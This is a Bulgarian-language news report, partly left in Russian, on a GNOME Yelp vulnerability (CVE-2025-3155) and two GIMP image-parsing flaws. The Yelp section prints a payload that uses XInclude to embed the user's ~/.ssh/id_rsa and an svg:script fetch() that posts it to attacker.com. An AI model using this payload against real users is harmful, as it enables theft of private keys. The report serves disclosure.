Уязвимости в GNOME Help и GIMP, позволяващи изпълнение на код при отваряне на файлове

В прегледника Yelp, използван по подразбиране в GNOME за работа със справочни ръководства (GNOME Help), е открита уязвимост (CVE-2025-3155), която позволява изпълнение на произволен JavaScript код при отваряне на специално оформени page файлове. Изпълнението на подобни скриптове дава възможност за изпращане на файлове на потребителя към сървъра на атакуващия. Можете да проследите как се отстранява уязвимостта в дистрибуции на следните страници: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.

В GNOME для открытия файлов со справочными руководствами регистрируется URI «ghelp://», обрабатываемый через вызов Yelp. Для атаки злоумышленнику необходимо добиться загрузки своего файла index.page на систему пользователя. Например, можно обманом вынудить загрузить файл через браузер, кликнув на ссылку на сайте атакующего. После того как файл загружен атакующий может инициировать открытие этого документа, перенаправив в браузере переход со своей страницы на URL ghelp://» с путём к каталогу, в который загружен файл. Например, «ghelp:///proc/self/cwd/Downloads», где путь «/proc/self/cwd» ассоциирован с рабочим каталогом текущего процесса (при запуске yelp это будет домашний каталог пользователя).

Уязвимостта е причинена от това, че в page файловете се използва формат Mallard, основан на XML. В този формат има възможност за вмъкване на съдържание от други файлове в документа, използвайки механизма XInclude. За рендериране на page файловете програмата Yelp ги трансформира от XML в HTML с помощта на XSLT (yelp-xsl), след което ги показва, използвайки двигателя WebKitGtk. Идеята е да се постигне вмъкване на JavaScript в получения HTML файл и да се използва този JavaScript за изпращане на сървър съдържание, вмъкнато чрез XInclude.

За вмъкването на JavaScript е използвано това, че XSLT копира някои елементи в HTML без разграничаване, например, напълно пренася елемента и всичкото вложено съдържание. По този начин, за предаване на външен сървър файла «~/.ssh/id_rsa» достаточно подставить его в page-документ директивой «include»: <include parse=»text» xmlns=»http://www.w3.org/2001/XInclude» href=»/proc/self/cwd/.ssh/id_rsa»/>

После чего добавить через элемент <svg:script…> вызов JavaScript с кодом для отправки POST-запроса на внешний сервер, используя функцию fetch(): <svg:svg xmlns:svg=»http://www.w3.org/2000/svg»> <svg:script>onload=_=>fetch(«http://attacker.com/»,{method:»POST»,body:document.body.outerHTML,mode:»no-cors»})</svg:script> </svg:svg>

Също така могат да се отбележат две уязвимости (CVE-2025-2761, CVE-2025-2760) в графичния редактор GIMP, водещи до изпълнение на код от атакуващия при отваряне от потребителя на специално подготвени изображения в форматите XWD и FLI. Двете уязвимости са предизвикани от липсата на адекватна проверка на размера на данните, копирани в буфера по време на анализа на съдържанието на файловете. Уязвимостите са отстранени в версия GIMP 3.0.0.

Източник: opennet.ru

Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри 🔥 Купете надежден хостинг за сайтове с защита от DDoS, VPS VDS сървъри | ProHoster